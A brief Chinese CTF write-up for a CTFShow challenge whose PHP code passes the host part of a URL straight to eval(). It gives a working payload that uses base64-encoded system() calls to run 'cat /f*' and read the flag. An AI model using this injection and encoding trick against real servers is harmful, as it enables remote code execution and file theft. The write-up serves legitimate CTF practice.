CTFSHOW 周末大挑战
第一关
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-10 10:58:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $data = parse_url($_GET['u']); eval($data['host']);
这道题可以直接进行命令执行。
刚开始我的思路是用?u=aa://echo(`ls`);来进行命令执行,但是发现如果要读取根目录下的flag的话会被自动截断,导致命令无法正常执行。
看了官方wp后,发现可以base64来绕过出现 ls /被截断的情况。
payload:?u=aa://system(base64_decode('Y2F0IC9mKg=='));
“有人见星辰,有人见尘埃”